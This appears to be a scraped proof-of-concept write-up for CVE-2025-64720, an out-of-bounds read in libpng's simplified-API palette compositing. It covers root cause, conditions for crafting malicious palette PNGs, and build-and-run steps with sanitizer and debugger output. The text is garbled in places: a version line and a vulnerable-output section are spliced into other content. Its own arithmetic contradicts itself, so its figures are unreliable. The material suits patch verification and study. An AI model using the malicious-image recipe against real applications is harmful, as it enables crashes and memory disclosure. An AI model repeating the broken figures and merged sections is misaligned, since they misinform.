Share
## https://sploitus.com/exploit?id=CCCBCCEE-0E03-5900-9A3A-4686D44F4663
# CVE-2025-64720: libpng Buffer Overflow in Palette Premultiplication

> **Status**: Patched  
> **Severity**: High  
> **CVE ID**: CVE-2025-64720  
> **Discovery Date**: 2025-11-XX  
> **Public Disclosure**: 2025-11-21



## Overview

### Summary

An out-of-bounds read vulnerability exists in libpng's `png_image_read_composite` function when processing palette images with `PNG_FLAG_OPTIMIZE_ALPHA` enabled. The palette compositing code in `png_init_read_transformations` incorrectly applies background compositing during premultiplication, violating the invariant `component โ‰ค alpha ร— 257` required by the simplified PNG API, leading to memory corruption.

----------

## Vulnerability Details

### Root Cause

In `png_init_read_transformations` at line ~1336, the palette expansion code performs:

```c
component += (255-alpha)*png_sRGB_table[outrow[c]];
```
This calculation produces `component` values up to 16,776,960 (0x1000800), where `(component >> 15) == 512`. The subsequent `PNG_sRGB_FROM_LINEAR` macro in `png_image_read_composite` performs out-of-bounds array access:

```c
png_sRGB_base[component>>15]    // Accesses png_sRGB_base[512]
png_sRGB_delta[component>>15]   // Accesses png_sRGB_delta[512]
// Both arrays have indices 0-511 only (size 512)
```

The issue occurs when:

1.  PNG uses palette mode (color type 3) with transparency (tRNS chunk)
2.  Application uses simplified API with alpha-capable format
3.  `PNG_FLAG_OPTIMIZE_ALPHA` is internally enabled
4.  Palette expansion performs premultiplication with background compositing

### Vulnerable Component

-   **File**: `pngread.c`, `pngtrans.c`
-   **Functions**: `png_image_read_composite`, `png_init_read_transformations`
-   **Code Path**: Simplified API โ†’ Palette expansion with alpha optimization

### Invariant Violation

```
Expected: component โ‰ค alpha ร— 257
         Ensures (component >> 15) โ‰ค 511 (within array bounds)

Actual:   component = previous_value + (255-alpha) ร— png_sRGB_table[RGB_value]
         With alpha=0, RGB=255: component can exceed expected bounds
         
Result:   (component >> 15) can equal 512 (out of bounds access)
```

----------

## Affected Versions

### Vulnerable Versions

-   **Software**: libpng
-   **Versions**: All versions > 15) โ‰ค 511
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚ [OOB Access]    โ”‚  Index 512 โ† Vulnerable access when component โ‰ฅ 0x1000000
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚ png_sRGB_delta  โ”‚  Array indices: 0-511 (512 entries)
โ”‚ [512 entries]   โ”‚  Also vulnerable to same OOB access
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚ Adjacent Memory โ”‚  Potential information disclosure
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

Calculation that causes overflow:
component = alpha ร— component + (255-alpha) ร— png_sRGB_table[palette_RGB]

When alpha=0 and palette_RGB=255:
component = 0 + 255 ร— 65535 = 16,711,425
(component >> 15) = 512 (OUT OF BOUNDS!)
```

### Trigger Conditions

**Required Conditions:**

-   PNG color type 3 (indexed/palette)
-   tRNS chunk present (transparency)
-   Alpha values of 0 in tRNS chunk
-   High RGB values in palette (especially 255, 255, 255)
-   Simplified API usage (`png_image_finish_read`)
-   Alpha-capable format (PNG_FORMAT_ARGB, PNG_FORMAT_RGBA with flags)

**Optional Factors:**

-   Format with `PNG_FORMAT_FLAG_AFIRST` increases crash likelihood
-   Larger images provide more opportunities to trigger the bug
-   Multiple zero-alpha palette entries increase reliability

**Non-Triggering Conditions:**

-   libpng >= 1.6.51 (patched)
-   PNG_FORMAT_RGBA without additional flags (sometimes safe)
-   Non-palette color types (RGB, grayscale, etc.)
-   Palette without transparency
-   All alpha values = 255 (fully opaque)

----------

## Proof of Concept

### Quick Start

```bash
# Clone repository
git clone https://github.com/truediogo/CVE-2025-64720
cd CVE-2025-64720

# Generate images
python3 generate-images.py

# Build test
chmod +x build.sh
./build.sh

# Run exploit (requires vulnerable libpng = 1.6.51):**

```
libpng version: 1.6.51
PNG_LIBPNG_VER: 10651

[!] Warning: libpng >= 1.6.51 detected (vulnerability is patched)

=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8

Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00

Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00

=== All tests completed ===
```

----------

### Impacts

#### Confirmed Impacts

-  **Denial of Service**: Reliable application crash when processing malicious PNG files
-  **Memory Corruption**: Heap-use-after-free due to OOB read corrupting internal state
-  **Information Disclosure**: Potential leak of adjacent memory contents via OOB read

#### Potential Impacts

-  **Remote Code Execution**: Theoretically possible if memory corruption can be controlled, though not demonstrated
-   **Browser Exploitation**: Web browsers using vulnerable libpng could crash when visiting malicious sites


### Step-by-Step Reproduction

#### Step 1: Generate Exploit

```bash
python3 generate_poc.py
```

Expected output:

```
======================================================================
libpng Out-of-Bounds Read PoC Generator
Vulnerability: palette + transparency + PNG_FLAG_OPTIMIZE_ALPHA
======================================================================
[+] Generated variant 1: exploit_v1.png
    Size: 434 bytes, Dimensions: 8x8
[+] Generated variant 2: exploit_v2.png
    Size: 434 bytes, Dimensions: 8x8
[+] Generated variant 3: exploit_v3.png
    Size: 2258 bytes, Dimensions: 64x64
[+] Generated variant 4: exploit_v4.png
    Size: 356 bytes, Dimensions: 4x4

[+] Enhanced test program: test.c
[+] Build script: build.sh
```

#### Step 2: Compile Test

```bash
chmod +x build.sh
./build.sh
```

Expected output:

```
[*] Building test...
[*] Building with AddressSanitizer...
[*] Building with UBSan...
[*] Building debug version...
[*] Building for Valgrind...

[+] Build complete. Executables:
-rwxr-xr-x  1 user  staff  95KB test_asan
-rwxr-xr-x  1 user  staff  87KB test_ubsan
-rwxr-xr-x  1 user  staff  72KB test_debug
-rwxr-xr-x  1 user  staff  72KB test_valgrind
```

#### Step 3: Execute Exploit

```bash
./test_asan exploit_v1.png
```

**Expected Result (Vulnerable - libpng 1.6.36):**

```
libpng version: 1.6.36
PNG_LIBPNG_VER: 10636

[!] libpng = 1.6.51):**

```
libpng version: 1.6.51
PNG_LIBPNG_VER: 10651

[!] Warning: libpng >= 1.6.51 detected (vulnerability is patched)

=== Testing: exploit_v1.png ===
[All tests complete successfully without crashes]
```

### Alternative Testing Methods

#### With Valgrind

```bash
gcc -o test test.c -lpng -g -O0 -fno-inline
valgrind --leak-check=full --track-origins=yes --show-leak-kinds=all \
         ./test exploit_v1.png
```

Expected output (vulnerable):

```
==12345== Invalid read of size 8
==12345==    at 0x...: png_safe_execute (pngerror.c:944)
==12345==    by 0x...: png_image_finish_read (pngread.c:4184)
==12345==  Address 0x... is 16 bytes inside a block of size 48 free'd
```

#### With GDB

```bash
gdb ./test_debug
(gdb) set args exploit_v1.png
(gdb) run
# Program will crash

(gdb) bt
# Shows backtrace with png_safe_execute at top

(gdb) info registers
(gdb) x/32wx $rsp
# Examine memory state at crash

```

#### With LLDB (macOS M1-M4)

```bash
lldb ./test_debug
(lldb) settings set target.run-args exploit_v1.png
(lldb) run
# Program will crash

(lldb) bt
# Shows backtrace

(lldb) register read
(lldb) memory read -c 32 -- $sp
```

## References

### Official Sources

-   **Vendor Advisory**: http://www.libpng.org/pub/png/libpng.html
-   **CVE Entry**: https://vulners.com/cve/CVE-2025-64720
-   **NVD Entry**: https://nvd.nist.gov/vuln/detail/CVE-2025-64720
-   **libpng Homepage**: http://www.libpng.org/pub/png/libpng.html

### Technical Details

-   **Bug Report**: https://github.com/pnggroup/libpng/issues/686
-   **Patch Commit**: https://github.com/pnggroup/libpng/commit/08da33b
-   **Pull Request**: https://github.com/pnggroup/libpng/pull/751
-   **Release Notes**: https://github.com/pnggroup/libpng/blob/libpng16/CHANGES

### Related Vulnerabilities

-   **CVE-2025-64505**: Heap buffer overflow in png_do_quantize() via malformed palette index
-   **CVE-2025-64506**: Heap buffer over-read in png_write_image_8bit()
-   **CVE-2025-65018**: Heap buffer overflow in png_combine_row()
-   **CVE-2019-7317**: Use-after-free in png_image_free() (libpng < 1.6.37)


## Credits

### Discovery

-   **Samsung-PENTEST** - Security researcher
-   **weijinjinnihao** - Security researcher
-   **yosiimich** - Security researcher

### Analysis & Fix

-   **Fabio Gritti** (Artiphishell) - Triage and analysis
-   **John Bowler** - libpng developer, fix contributor
-   **Cosmin Truta** - libpng maintainer, patch implementation

### Testing

-   **truediogo** - PoC development and validation

----------

## Legal & Ethical Considerations

### Disclaimer

โš ๏ธ **IMPORTANT**: This PoC is provided for educational and research purposes only.

-   This code is intended for:
    
    -   Security research
    -   Vulnerability assessment of systems you own
    -   Academic study
    -   Developing defensive measures
    -   Patch verification
-   This code is NOT intended for:
    
    -   Unauthorized access to systems
    -   Malicious attacks
    -   Causing harm or damage
    -   Any illegal activities
    -   Exploitation without permission

**By using this code, you agree to:**

1.  Use it only on systems you own or have explicit written permission to test
2.  Comply with all applicable laws and regulations
3.  Take full responsibility for your actions
4.  Not hold the authors liable for any misuse
5.  Follow responsible disclosure practices